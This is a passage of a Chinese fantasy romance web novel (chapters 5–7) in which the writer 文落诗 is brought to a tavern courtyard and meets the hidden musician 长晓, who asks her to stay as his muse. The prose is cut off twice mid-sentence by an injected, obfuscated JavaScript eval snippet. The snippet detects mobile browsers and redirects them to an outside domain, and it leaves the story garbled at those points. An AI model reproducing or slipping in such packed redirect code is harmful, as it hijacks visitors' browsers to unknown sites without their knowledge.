老婆婆看了看怀中的小婴儿,又看了看文落诗,道:“行了,一天别想这么多,太累了。没有客栈收留你是吧,要不要来我家住一晚?” 果然,老婆婆猜到了没有客栈收留她这件事。文落诗的猜测证实了,刚要回答,却见身前涌出一团黑雾,渐渐变大、变浓,然后幻化出现了一个店小二样打扮的人。 他木木的,两眼发直,像是第一次给人传话。 只听他傻里傻气地说道:“我是春庭酒楼的伙计,这位魔娘,我们东家请你过去一趟。” 5. 弦断之音谁人听 文落诗迷迷糊糊站门前,朦朦胧胧看到门牌上“春庭酒楼”四个大字。 待眼前的景象清晰了,她才反应过来,刚刚这个小伙计口中的“魔娘”,指的是自己。 而就在小伙计说完那一刹那,一股巨大的黑色光晕涌起,将文落诗卷了进去。待她再睁开眼时,已经来到酒楼门口了。 背后的东家到底是何人? 文落诗的修为可不低,而这家酒楼的仅仅一个小伙计,就能施法把她带走,不敢想象这背后之人有多可怕、多强大。 不过话说回来,春庭酒楼是整个稀音城最大的酒楼,甚至其他城池的人都听说过,出名程度可想而知。 这里的东家,跟自己有什么关系?文落诗摸不着头脑,看到小伙计正在前方给自己引路,连忙问道:“敢问,你们东家是哪位?” 可那小伙计却傻乎乎地答道:“他只和我说,让我来这家小铺传话,请你过去,也没说别的呀,我好像也不能告诉你他是谁吧?”说完,他又幻化成一团黑雾,消失得无影无踪了。 文落诗回头看了一眼酒楼之外,街上的雪本就不厚,如今已经消融了大半。天色已晚,几乎已经看不到光亮了。 她望着那团黑影飞去的方向,发现自己不知不觉中,走到了酒楼的后院入口处。 如果可以选择,她绝不会跟陌生人走。但是对方实力过于强大,根本没给她选择的机会。想到这里,文落诗也只能硬着头皮上了,毕竟她也无从得知,后院里的“东家”,究竟是何等人物。 进入推开通往后院的木门,真正进入院中,文落诗被眼前这一幕彻底震撼了:这与她想象中的酒楼后院,大相径庭啊! 这哪里是一个简单的后院,这分明是缩小版的一座奢华的府邸。 院中花草纵横交错,花瓣上闪着点点亮光,草丛处有蝴蝶流连飞过。 这可是冬年啊,这里竟然有如此生意盎然的景致! 虽然依旧能感受到空气中的冷意,花草却鲜艳如同春年之间的景象。 花丛中间,一条乌黑透亮的鹅卵石所铺的路,通向不远处的小楼。 这小楼是暗红色的墙、浓墨色的瓦、琉璃金色的脊兽、五彩斑斓的瓦当;两侧的墙是常见的青灰色,却有着华丽而繁琐的浮雕,从院门处一路延伸到围墙的尽头。 文落诗走近墙面,发现这些浮雕大概是在讲述一个乐师在不同季年的演奏情形。 与人间的一年四季不同,九天之上,一个季节是一整年,便有春年、夏年、秋年、冬年之说,四年为一轮回。一年之中,前四个月名为孟月,中四个月名为仲月,后四个月名为季月。 无论是天界还是魔界,都是如此。 在这浮雕上,春夏秋冬四年,乐师分别演奏了笛、筝、琴、埙四种乐器,时而在竹林间,时而在高山顶,景致之多、兴致之雅,尽显于浮雕之上,真是令人目不暇接。 只可惜,那乐师从未露过真容,只留下一个个背影。 有没有可能,这个乐师,就是这个院子的主人?或者说,这春庭酒楼的东家? 文落诗忍不住转身,再看看这座春庭酒楼。可是哪里还能看到酒楼?此处应当有什么障眼法,也隔绝了声音,使酒楼里的人根本看不到后院的景象,而后院也不需要被酒楼喧嚣所打扰。 可真会享受啊。 文落诗正暗自念叨着,忽然感到一股敌意的气息。 她转过头,却看到一个无比熟悉的身影,正站在自己面前。 她先是怀疑自己看错了,直到无比确定后,吓得一个踉跄,差点跌倒。 还好她反应快,站稳了,没有跌倒,也不需要别人来扶。不然,她身上就要上演一出烂大街的戏码了。 而对方眼中也满是惊讶,像是完全没想到能在这里看到文落诗。 四目相对,沉默许久,对方先试探性地开口:“姑娘……这是?” 文落诗尴尬地一笑:“这位仙君,真是有缘啊,又见面了。” 眼前这人,正是不久之前来老婆婆的小铺,买了两个红苕的那个仙人。 文落诗是真的没想到,还会再次遇见他,也没想到会在这个地方,莫名其妙地再次遇见他。 按照魔界民间的习俗,一般称呼男子“郎君”或是“魔郎”。 可是这人,一身仙气地站在文落诗面前,而且很明显修为高于她。她警惕感拉满,实在不敢轻举妄动,称呼上,也带了刻意疏离的意味。 转而,她忽然反应过来了什么:“等下……阁下可是这酒楼的东家?” 仙君先是怔了一下,随即豁然开朗:“这酒楼的东家是我至交,我这是来找他帮个忙。”他看了看文落诗,略带看戏意味,问道:“怎么,姑娘也是来找他的?” 文落诗连忙澄清:“当然不是,我都不知道这酒楼的东家是谁,就被一个小伙计带来了,说他要见我。我没想来,可是一阵风就把我卷过来了,我睁开眼,人已经在这里了。” 仙君“扑哧”笑了一声,然后意味深长地看向文落诗,道:“我猜得可真准。得亏我想起点事,又回来一趟,被我给撞上了,不然真看不出来啊。” 文落诗闻言,脸上大大地写着疑惑。 她的喜怒哀乐,往往都直接写在脸上。 而仙君却没有解释,反而继续笑道:“在下先告辞了,姑娘快去吧,我朋友在屋里等你。” 待那仙君离开后,那文落诗更疑惑了。 没在任何一个话本里,见过这种剧情啊? 所以,她竟然没办法预判接下来会发生什么。 但是话说回来,如果要见他的人,竟然能跟仙族有如此之好的交情,而是对方还肯定是个修为不低的仙族,那要见她的人,究竟是个怎样的人? 于是,她思考着,走到了木门之前。感受到浓郁的魔气后,文落诗暗自松一口气。 幸好,对方也是魔族。 她的要求已经降低到这种程度了…… 本想敲门,却看见门开了一道细小的缝,传来几丝淡淡的琴声。 透过门缝,文落诗隐隐约约看到里面有个身影,正端坐在桌案前抚琴。结合刚刚看到的院中浮雕,文落诗心中愈发确定,这就是酒楼的东家,也就要见她的那个人。 正在她犹豫要不要敲门、打断悦耳的琴声时,门却忽然开了。 而里面那人,在身前一拂袖,琴消失在桌上。 他抬眸,看向文落诗的那一刹那,文落诗惊呆了。 眼前这人的脸,眉如山陵,眼若灵泉,鼻如峰峦,口若落红,颊如闲淡游云,颌若苍劲山石。若是打量他全身,便会误以为身处林间,清风若起,那一束顺直而细长的乌发,似细长溪水一般,从盈盈山间直倾而下;他身子,是一尊沉淀了万年古木,稳稳扎根在一方独属于自己的天地间;而那一双手,则是遒劲却细长的树枝。 从未见过如此俊美之人! 文落诗心下高兴坏了,顿时觉得,不管今天被叫来的目的是什么,自己也来得值了。 她多少个日夜,绞尽脑汁、抓耳挠腮,实在不知道该如何描写自己话本里男主人公的长相,如今,一个天然的原型摆在她面前,她再也不用凭空捏造了,这是天大的喜事啊! 她就差把激动两个字写在脸上了。 此刻,这样一个人坐在自己面前,往日她话本里那些浮夸的、繁琐的、冗余的描述,统统都不需要了。 那男子却眼神平静地任由文落诗打量。直到他实在被看得太久了,才两指轻轻一挑,施法将文落诗身后的门“呀”地一声关上。 “多谢姑娘前来。屋外天冷,勿在门前站太久。” 他这一开口,文落诗却再次心底里乐开花了。 如同落石坠入空谷中的水潭,晕开无数道涟漪。 我好像,也知道该怎么描写男主人公的声音了。 他的声音,简直是我幻想过、试图描写过无数次的那种。 天助我也,这么多天的奔波和坎坷,换来如今的大好运气。 文落诗通过紧紧盯着面前这张脸,似乎看到了自己解决卡文的救星,看到了自己的灵感来源,看到了自己每天奋笔疾书的希望! 可是高兴归高兴,她并不认识对方,从进屋开始,她已经手里捏了一把冷汗了。理智告诉她,不能因为他成为了你事业上的救星,就对他卸下防备。 于是,文落诗并没有上前,而是收起了笑容,静静等待他的下一句话。 面对文落诗一通打量,再目睹了她喜笑颜开的样子,如今又见她脸色变化太快,那男子实在没忍住,无奈笑了出来:“姑娘放心,只想请姑娘帮个忙而已,绝无恶意。快请坐吧。” 文落诗心里稳了一些,上前坐在男子对面。她方才走进屋子里面便觉得相当暖和,这才发现,桌子旁有个暖炉,正缓缓向外冒着暖融融的白烟。而这个暗金色的暖炉,则是用极为上等的连城铜制成的,只有身份不凡之人,才能有机会得到这种铜。 而刚刚进门那一刻,她看到此人在抚琴。又联想到刚刚院落中墙壁上的浮雕,文落诗确定,眼前这位,应当是一名对曲乐颇有研究之人。 于是,她开口笑道:“这位郎君,可是要见我的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491142|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位酒楼东家?” 对面的男子轻轻一笑:“正是在下。” 文落诗故作轻松,笑问:“怎么称呼?” 而她实在没想到的是,对方竟然因为这个简答的问题,而沉默了好一会,像是在纠结什么。 少许,他答道:“姑娘海涵,在下真正的名姓实在不便透露,但有一个名字,姑娘或许听说过。” 文落诗挑眉,心想这个关子卖得也太大了。 然后他缓缓道出二字:“长晓。” 接着,空气安静了几秒。 文落诗反应过来那一刻,下巴都快掉地上了。 长晓! 她刚才的心花怒放一下子消散得无影无踪,只余下响彻雷霆的震撼。 看着她满脸震惊,长晓十分无奈,失笑:“姑娘知道在下的名字,在下已经很荣幸了,也不必……如此震惊。” 文落诗回过神来:“久仰大名。”她像打量一件难得一遇的绝世珍宝一样,看着长晓:“其实我一个多时辰前,方才在街上听到有人吹奏你的曲子,转而见到了本人,着实有些震撼。” 长晓,或许并非一个家喻户晓的名字,可但凡与“曲乐”二字有交集的人,几乎没有不知他名字的。毕竟,《落雪歌》一出,获得了无数人的关注。 而这仅仅是他的最家喻户晓的一首。凡是有曲乐的地方,乐坊、茶楼、勾栏、瓦舍、甚至大街旁的小铺,都经常有些耳熟能详的曲子,出自乐师长晓之手。 传言,沧海历八千二百五十五年孟三月初,大雪纷飞之际,长晓于第三重天赤缇城中,掩帘演奏了一曲《落雪歌》。虽未有人看到他的容貌,群众却瞬间哗然,赞叹于他的琴技之高超,感慨于他的创作之美妙,折服于他身上那种少年初出江湖、一曲成名的灵气。 那时候文落诗刚出生百岁有余,还是个襁褓之中的姑娘。多年后她习琴之时,听闻当年长晓的故事,时常感叹自己生不逢时,没有去到赤缇城,亲眼见证这一轰动至极的景象。 那之后,长晓又将此曲填词,交给乐坊,从此这首曲子便在各个城池的乐坊之间流行开来,无数人演奏或吟唱。 而当今,已经是沧海历九千九百五十一年,时过境迁,岁月流转间,一千余年已过。时至今日,文落诗已经几百年没碰过琴了,也渐渐消减了儿时对曲乐的兴趣,可长晓这个名字,以及他的作品,一直流传至今,不曾衰朽。 无人知晓“长晓”究竟是谁,可他的名字,早已成为“琴技”的代名词,是多少人的目标,和难以企及的高度。 可今日一见,文落诗才得知,人们只道长晓才华,无人得见长晓真容—— 比她见过的任何一个人都要好看的真容。 她忽然想到什么:“方才我进来的时候,院中墙上的浮雕似乎有笛、筝、琴、埙,演奏之人,都是你?” 长晓眸光一顿,点头。 文落诗心底哗然,这是多有曲乐的天赋啊!众人只知长晓之琴,不知他还精通多种器乐! 看文落诗一脸崇拜的样子,长晓很是好笑。但他犹豫半晌,又道:“姑娘,在你之前,无人知道长晓是我。” 文落诗心神一凛,顿时明白,长晓定是另有身份。不过他们萍水相逢,她也不想给自己添麻烦,知道得越少,便越安全。 她正思考时,长晓浅浅开口:“那姑娘怎么称呼?” “文落诗。” 她轻轻将手拂过桌面,一团粉色的烟雾中出现了纸张和笔砚,她迅速执笔写下自己的名字。 长晓看着消散的粉烟,又看了看她的手,点点头:“幸会,文姑娘运笔速度如飞。” 文落诗其实一直在观察长晓的反应,特别是在她露出粉色烟雾之时。而长晓给人一种再平常不过的感觉,并没有因这出现在眼前的粉烟而有所波动。 “我以写诗文话本谋生,写得多了,笔速自然快些。” 长晓想到什么,又问道:“方才寻得文姑娘之地,正是欲晓书局旁的一家小铺,你可是要去投稿?” 文落诗颔首:“正是。” 长晓大概对文落诗有个模糊的了解了。转头之时,看着身边的姑娘眨巴眨巴眼睛,心下一动,于是手一挥,蓝色光晕闪过,桌上出现了茶壶和茶杯。正欲倒茶之时,却见身边姑娘的身子无意识地轻轻往后退了一点。 文落诗喃喃道:“你竟是融雪之人……” 长晓似乎早就料到她如此反应,没说话,只是继续倒茶。 忽然,文落诗意识到什么,猛地一抬头。 “长晓魔君,你是如何得知我在小铺的?” 6. 弦断之音谁人听 大约一个时辰前,一抹蔚蓝色的仙气飘进春庭酒楼的后院。像是轻车熟路,那抹蓝色毫不犹豫地停在木门前,幻化出一个男仙君。 长晓那双正在弹琴的双手忽然停下。 那仙君毫不顾忌地推门进来,看到长晓正坐在桌案前,双眼只顾着自己桌案上的琴,故意不抬头,仿佛在等待来者对自己的擅闯作出解释。 仙君看到这一副场景,忍不住撇嘴:“你说你这一副臭脸,搞得像我不请自来一样。” 长晓暗自叹了口气,仍然懒得抬眼看他:“本来就是你有事求我。” 说完,他想了想,又补了一句:“下次想着敲门。” 仙君对着长晓扬眉,瞥了一眼桌上的琴,冷嘲道:“呦,这是打扰你的雅兴了,又不想搭理我?” 长晓拿他没办法,只道:“坐。” 仙君依然不坐,故意道:“我大驾光临你的地盘,你这是连口茶都不给我啊。” 长晓对他无语了。他一挥手,桌案上的琴消失了,出现两个晶莹剔透的花型琉璃盏,里面装满了刚泡好的莓果茶,浓郁的绛红色,温温热热的,衬得琉璃盏更加流光闪烁、缤纷万千。 他淡淡地看向仙君:“满意了?” 那仙君一手举起琉璃盏,一饮而尽,赞叹道:“嗯,认识这么多年了,你真懂我爱喝什么。” 长晓无奈;“这可是前段时间刚送来的贡品,总共没多少,我都拿出来款待你了,你知足吧。” 仙君用调侃的语气说道:“你这种态度,可完成不了你母亲的任务。” 长晓一听这话,没好气:“她那也能叫任务?” “明明是你跟我说的啊,你离开融雪之前,我刚好路过,见面的时候,不是你一个劲地拉着我说,你娘叫你这次出来……” “那又不是重点。” “你有啥想法不?哦不对,你这么多年没见过世面了。” “你少管我。” “我方才来的路上,听到一个姑娘在唱歌哄小孩,唱得可好听了……” “打住。我倒是想问问你,在这个节骨点上,三番五次来我界晃荡,所为何意?”长晓拿出他一贯那副冷冰冰的眼神看向那仙君:“前段时间‘路过’我界都城,如今又‘光临’我界第一重天边界处,就算我跟你熟,也得好好问问你。” 融雪,不仅是魔族修道的最高境界之名,也是都城之名。 上古时期,魔祖沧熹创界,将都城定在第九重天中心处,选址当晚,大雪至,染白整座城,魔祖以为此寓意不详,本有意重现选址,却见翌日清晨,满城积雪均融化,只剩九重天上冷风如初。众人以为此处颇为神奇,大雪只在夜晚如常,积满了整座城,而总会在日出之前全部融化。有时白日也会下雪,只不过落地即融化。 如此,大雪落下、融化,反复五日,魔祖沧熹见此处奇观,大喜,将此处命名为“融雪城”,定为都城。 几年后,魔祖与众臣商议魔祖修道之法的确立,争论不休,久久无法平静,忽而大雪又至,足足下了一整夜,也扰乱了所有人的思绪。翌日,众人已经疲备至极、就要放弃之时,大雪消融。从此,魔族之道,最高境界,被命名为融雪。 面对长晓的发问,那仙君却一脸坦荡:“我来找你,为的就是这件事。” 说罢,他一挥手,桌上的琉璃盏旁边,出现了两个黑不溜秋的烤红苕。 长晓愕然,盯着这两团的黑不溜秋的东西,看着它们散发着与整个房间格格不入的香气,半天没说出话来。 仙君看着长晓,默了默,道:“舒允在魔界。” 长晓微微一怔,大致明白了:“她是主动来的?” 仙君垂眸:“是。” 长晓道:“所以?” 仙君像是做了很久的决定,抬眼:“我想请你帮我留意一下,如果有她的行踪,立即告知我。我说不好她如今怎么想,怕她出事。” 长晓好奇:“你俩这是吵架了?不然,她还至于躲来我这里?” 仙君不置可否,久久没说话,露出与刚才完全不同的凝重神情。 “那你之前来融雪都城,也是想找她?” 仙君颔首。 长晓道:“行了,你俩的事情,我不多问了,帮你留意便是。但是这两个红苕是……” “来的路上买的,作为酬谢。” 长晓:“……” 空气安静了好一阵子。 看着自己的挚友无语至极,仙君心下满意,于是率先打破了凝固的局面,毫不留情拿起一个冒着热气的红苕,开始吃起来,并尝试转换话题:“你说,两界众人要是知道,这个紧迫的时间点上,咱俩居然在这里云淡风轻地聊闲天,会是什么想法?” 长晓平静道:“我没有云淡风轻。” 仙君撇嘴。 于是又是一阵沉默。 直到他以为长晓不会回应这个话题的时候,长晓忽然开口:“再过五十年,还能有像今天这样聊闲天的时候。没人有异议的那种。” 此话一出,两人都彻底放下心来。 仙君举杯:“那就再努努力?反正也就最后这几年了,累不到哪儿去了。” 长晓点头,“当然,”而后,随着一阵清脆的碰杯声,将莓果茶一饮而尽。 临走前,仙君左思右想,还是把刚刚那句没说完的话又说了一遍。 “我来的路上听到一个姑娘在唱歌哄小孩,唱得可好听了,人也可漂亮了,很少见到这么漂亮的。我这两个红苕就是在她那个小铺买的,你确定不想见见她?” 长晓笑得十分无奈:“你还是多操心操心你自己吧。都需要麻烦我帮你找人了,还有心思管我。” 仙君起身,临出门前,回头看向长晓,认真道:“有劳,多谢。” 长晓摆摆手。那一团仙气也随即消失了。 待仙君走后,长晓低头,看了看那个依旧冒着甜腻腻热气的红苕。显然,红苕是被人用术法维持着温度,不然早凉了。 他拿起红苕时,看向身侧的石镜。一拂袖,果然,镜中出现了一个卖红苕的小铺,和一个熟悉的身影。 * 文落诗警惕地看着长晓,生怕曾在话本里讲过的那些丑陋事,发生在自己身上。 主要是,面前这个人,打不过。 而长晓却莞尔一笑:“文姑娘,我的猼施,你见过的。” 这回答甚是巧妙。文落诗先是愣住,转而想到此人已及融雪,立即反应过来,他似乎就是自己方才在路上遇见的那个、坐在车中、放自己安然离开的魔君。 自己好像……冲撞了他的魔兽。 等下,难道他一直在追踪自己? 文落诗再次吓坏了。 像是看懂文落诗在想什么一样,长晓笑道:“文姑娘大可放心,我没有别的意思,就是想请姑娘帮个忙。另外,姑娘面临排挤,暂时是否无处可去?不妨先住在我这酒楼的后院里。有不少空房间。” 文落诗斟酌着开口:“帮什么忙?” 长晓将胳膊肘支在桌子上,手托着下巴:“文姑娘既知晓我的名字,自然应该知道我的乐师身份。” 文落诗点点头。 “既如此,不妨直说了,我近日灵感贫乏,长时间无法创作出新曲,焦灼之际,恰好于大雪中的街上遇见姑娘,忽然有了新的灵感。所以,还望姑娘这几日住在这里,在我眼前多晃悠晃悠,助我写出新曲。” …… “你放心,你住我院子里,吃我酒楼的饭菜,我都不会向你索要钱财。” …… “有什么要求可以跟我提,合理的都可以满足。” …… 这叫什么请求? 文落诗一头雾水,自己怎么就成了他的灵感来源了? 可盯着他那一双深邃如潭水的眼,文落诗立刻想到,自己在刚刚,还满心赞叹长晓诗是自己写话本的重要原型。 好像两个思维方式离奇的人……碰到了一起。 不过,自己似乎莫名有居所了,再也不用为住宿的事情而担忧了,而且还能顺便从长晓身上捞一大把素材! 想到这里,文落诗心潮澎湃,脸色也有点憋不住笑。 长晓倒是不着急,静静地观察着文落诗的表情,等待回复。 “好,我答应了,”文落诗顿了顿,“另外,你是不是用了临渊的石镜?” 长晓点头:“文姑娘聪明。”说着,他身侧的蓝色光晕中缓缓出现了一块大石头,石头上面光滑,周围闪着墨绿色的淡淡的光,下面凹凸不平,却也点点泛着细微光束。 文落诗心中有些震惊,却觉得一块大石头放下了:“那我就放心了。” 临渊是第八重天上一座城池的名字,那里四面临海,每日被汹涌波涛拍打。 海中盛产临渊石。此类石头经历特殊的术法打磨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491143|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以呈现想看到的人的画面,因此,可以用来追踪别人,称为临渊寻魔石。使用者需要先与石通过滴血的方式,让石头认主,不过这种追踪术过于消耗修为和精力,不仅对使用者的修为要求极高,且一天能用一次就不错了。再者,一旦追踪的人发现自己被追踪,临渊寻魔石则立刻失效,不能再用来追踪此人。 因此,长晓直接把石头展示给文落诗看,是表明了自己不会再偷看她。 文落诗觉得好笑的同时,又有点感动。 不过,文落诗再次对长晓的身份有了新的认知,因为哪怕是融雪之人当中,能使用临渊寻魔石者都数量极少。他除去长晓乐师之外的身份,一定很震撼。 但是这些跟文落诗没什么关系。 如今正事谈完了,她紧绷的身心终于彻底松懈下来,拿起茶杯喝了一口,开始四周环顾这个房间。她这才发现,这个房间中的乐器应有尽有,院中墙壁浮雕上的乐器,也都在此刻见到了真实的,一一排列、端端正正地摆放着,慵慵懒懒地靠着屋子四周的墙。 她忽然想到自己小时候,去乐坊中,看到这么多器乐摆在一起,自己唯独挑了琴,可这些年自己太累了,连琴都离自己而去。 最终,她目光落在了房间一角的书架上。她觉得自己职业病犯了,看见书架就想往上冲。 “我可否去看看你的书架?看完就走。” “当然可以。你拿一些书走都行。” 已经是浓郁的黑夜了,屋中的夜明珠接二连三地亮起来,有趣的是,这里全部用的是姜黄色的夜明珠,整个屋子沉浸在昏黄的灯光中,忽明忽暗,暖烟流转。 书架不大,很明显只是藏书者的冰山一角。文落诗眼神扫过那几排书,真是各式各样、应有尽有,上至不怎么常见的古文典籍,下至流传于市井巷陌的话本戏折,竟然能在同一个书架上看到。 文落诗有些感慨。 忽而,她的目光聚焦在那几本修道理论的书上。 曾经的她,一定会第一时间被那本与露烟道相关的书吸引,然后迫不及待地从书架上拿下来,开始废寝忘食地翻阅。 她曾这样,在各种藏书阁中看过无数本书,一直站着,站到腿都僵了,脖子都酸了。 几曾何时,她最初的坚定不移,已经被消磨将尽,如今只剩下那种热爱的本能,苦苦支撑着她在风雨交加的茫茫未来中,再前进一步,再前进一步。 可如今,她已经接近崩溃的边缘。本就过着居无定所的日子,攒着并不足够充裕的钱财,要不是有人愿意收留她,她差点留宿街头。不被施舍般地收留还好,一旦被收留,她那种自卑一下子涌起。她好不容易坚定了,可身处别人的小屋中,还是最终摇摆了。是以,曾经那个宁死不换道的她,如今已经将要麻木,无意识地活成了一个自己当年最讨厌的样子。 她的手缓缓伸向书架,拿出那本名为《熙光道入门修炼法》的紫色封面的书。 抓着书的那一刻,她痛恨自己,真的浪费了老婆婆的那一番话,可是那又能怎样呢,她敌不过世间乱流的庞大。 长晓离她不远,从她走到书架旁找书,就一直在看她。此刻,他隐约看到了她眼角的下垂,和整个人身上气息的渐渐枯萎。 那姑娘的身影已经被灯光衬得有些褪色,她身前的一颗夜明珠过亮,亮到使她的身影越来越模糊。蓦然,那在灯光下显得柔柔弱弱的身影转过头,对他温婉地强颜一笑:“对了,之前忘记说了,多谢长晓魔君大人大量,不记小人过,不再追究冲撞了你和你的猼施之事。” 长晓的思绪顿时被打断。他没想过文落诗这么说,转而嘴角上扬:“文姑娘多虑了,没有的事,实在不必为此事担忧,”他默了一阵,又道:“另外,不用这么客气,直接称呼我名字就好。” 然后,他直直地看着那个镀上焦黄色轮廓的身影,见那个小嘴又打开了:“那个,长晓,你的猼施现在在何处啊,我可以去看看它吗?” 长晓一时间忘了接她的话,只道目中之人那双水灵灵的大眼睛眨巴眨巴,他才回过神来:“它睡觉了,明早你再去后面的院子里看它吧。姑娘早点休息。” 那个身影,手中拿着一本过于刺眼的紫色的书,离开,轻轻把门关上了。 没过多久,他感受到隔壁那间屋子的烛光熄灭了。 只剩下他陷入沉思。 他总觉得,那本紫色的书,不应该跟她产生任何关联。 7. 弦断之音谁人听 翌日一早,文落诗用过早饭后,就一股脑跑去后院,看到一团火红的皮毛随着清晨的冷风微微飘动,羊一样的两个犄角也耷拉着,而皮毛下那张小脸还在皱皱巴巴地垂着,嘴角处流了几滴口水。 文落诗静悄悄走到它面前,手里抓着一大早找伙房要的投喂食物。 在她靠近的那一刹那,猼施猛然睁开眼,却见眼前这个人,越看越熟悉。 文落诗看着猼施忽闪忽闪的眨眼,好像在反复确认自己是谁,喜笑颜开,凑上前去:“别看啦,我是昨天在路上差点撞上你的那个人。” 猼施“哼哼”一声,像是想起来了,但是督促文落诗跟它道歉。 “好啦好啦,昨天是我不好,给猼施大人赔礼道歉喽。”文落诗拿出手里的两根白萝卜,一根红萝卜,递到它面前,“伙房的人说,你爱红萝卜,但是你也需要补充营养,必须再加上两个白萝卜。” 猼施欣喜若狂,瞬间原谅了文落诗那点小破事,开开心心地伸出毛茸茸的爪子,把红萝卜拿到嘴边开始啃。 “这两个白萝卜也得吃了,都说了要补充营养呀。” 猼施不搭理她。 “这两天我都住这里哦,你今天不吃,明天我也得盯着你吃。” 猼施闻言愤然。 “吃,快吃了,不然换成你主人来盯着你吃。” 猼施闻言,一把抢过白萝卜,嘎叽嘎叽吃起来。 哦,原来它这么害怕它主人啊。文落诗看着它吃萝卜的样子,觉得这猼施还挺有意思。 “那我走啦,晚上再来看你。” 她回房间继续写稿了。昨天已经知道了欲晓书局的位置,那今天就赶紧把最后的结尾写完,然后去投稿。 于是一上午,在换了无数种坐姿后,文落诗终于写完了最后一句话。中午百无聊赖之际,她忽然想到,昨天晚上从长晓那里薅过来一本《熙光道入门修炼法》。 她翻开第一页,看着那些生硬的语句,实在觉得看不进去。 有时候就是这样,不喜欢的东西,摆在你面前,哪怕你自己告诉自己“一定要学”,你也学不进去。 往后翻了几页,她发现了书上一个错别字。 然后,少顷,她眼睛在无知觉中闭上了,手一松,书软塌塌地搭在脸上,盖住了整张脸。 长晓走到门口,看到的就是这样一副场景。 那个印象中美到出尘的身影,如今软塌塌地毫无形象地瘫在长长的座椅上,身子横躺着,腿还在支着地面,一副见不得人的过于舒适的样子。可是她脸上盖了一本紫色的书,仿佛刺破了整个慵懒画面。 他第一次这么想走上前去。 他甚至在想,要不要把这个姑娘抱到床上,让她好好睡觉。 可他被自己这个想法吓到了。 那一瞬间,长晓意识到,自己以后的日子,好像再也无法回到以前的无波无澜了。 * 昨日,春庭酒楼后院,长晓从那仙君口中得知,方才街上撞到的姑娘如今正在书局旁的小铺了,用临渊寻魔石查看确认后,便立即叫人去寻她。 只不过,他没想到,仙君会去而复返。 看到他重新坐在自己面前的那一瞬间,长晓内心几乎是崩溃的。 “我刚刚真是糊涂了,少说了个重要信息。”仙君不紧不慢,给自己斟了口茶水。 长晓算着时间,想着自己派去的小伙计怕是很快就回来了,这一刻,他声音几乎是从牙缝里挤出来的:“你说,快点说,然后走人。” “这么着急干什么?”仙君闲闲一抬眼,“舒允有个极为要好的朋友,是个姑娘,就是魔族。” 长晓似乎完全没想到,闻言一怔:“有多要好?” 仙君想了想,托着下巴道:“大概类比咱俩。” 长晓:“……” “我的意思是,舒允若是跑来这里,来找她的可能性,怕是极大。” “这姑娘叫什么?” “问题就在这里。舒允没跟我说过。” “……” “你别急,我知道你肯定觉得这个信息是作废的。但是我思来想去,还是告知你一番。万一有用呢?” 长晓这回真的无语了。魔界如此之大,茫茫人海间,要他去帮忙找一个连名姓都不知的人。 难度堪比把引卮山挪个位置。 “行,我记下来了,你赶紧走。”他手下的人办事都是极为利索的,算着时间,那姑娘怕是就要到了。他得赶紧把眼前这人请走。 仙君察觉不对劲:“这么着急,你约了人啊?” 长晓心一横,点头。 “哦,好,那你们的内政,我就不干涉了。”仙君起身,出门。 长晓见他关上门的那一刻,长长舒了一口气。 可是谁知,紧接着,他就听到了院中有人在对话,还是两个熟悉的声音。 ……千算万算,还是这么不赶巧啊。 * 文落诗醒来后,发现自己在床上睡觉。 迷迷糊糊中,她复盘了一下自己是怎么睡着的。大概是自己写完稿,开始看书,然后看着看着就睡着了,躺在椅子上…… 她吓得一个鲤鱼打挺坐起来,因为她自己现在躺在床上,而不是椅子上。 而且自己身体周围,还飘着一股熟悉的气息,如同大雪初歇时清洌的空气,带着一丝雪花的清香。 她翻身下床,看到床头放了一块翠绿色的小石头,像一块玉石雕刻成的小巧羽毛。 多年的写文积累,她有了充足的知识储备,于是她一下子就认出来,这块石头,大概是传说中的翠羽传意石。 这种石头一般是分隔两地的人一人一块,用来沟通的。 在文落诗的印象中,这种石头有两种功能:第一种,通常在高层领导人物之间联络使用。比如第一重天边界处发生了某件事,需要立即上报,但是就算用最快速度的飞行术,到达第九重天的融雪城也需要一个多时辰,所以通常会在魔宫中和边界各放一块翠羽传意石,用于联络。 第二种就很简单了,在各种版本的话本里,文落诗也见过两个有情人分隔两地时,用翠羽传意石谈情说爱。 文落诗轻轻拿起这一块石头,才发现长晓已经下好符咒,让这块翠羽传意石与他手里那块相连。她手一挥,手里这块翠羽传意石四周溢出浓厚的淡绿色清气,氤氲开来,模模糊糊,慢慢凝结成了一列竖着漂浮在空中的文字: “初次见面,此乃赠予文姑娘的见面礼。” 文落诗心想,你倒是解释一下别的事情啊。 紧接着,有一团淡绿色清气溢出,在刚刚那行字的左边,又拼凑成一列文字: “移动术而已,姑娘大可放心。” 文落诗先是怔然,随后瞬间反应过来,自己遭遇了什么。 长晓不仅擅闯了她的房间,还把平常移动东西的术法,施在了她身上,把她从椅子上转移到了床上! 这个人! 她闭上眼睛,努力让自己平复心情,自己看过的话本中讲述的怎么打上门去的方法,脑子里已经飘过无数种。 正当她决定出门的那一刻,那股名为事业心的念头忽然跳了出来。 怎么能因为他,一个不相干的人,耽误我今天原本要去投稿的行程? 想到这里,她立刻把长晓这件事抛之脑后了,拿起写好的稿件,披了个毛茸茸的厚斗篷,出门去了。 从院门出去之前,文落诗特意回头看了一眼,长晓的房间门紧闭着,看样子他也不在屋里。 也不知道他去哪里了,不过,反正跟我没什么关系。 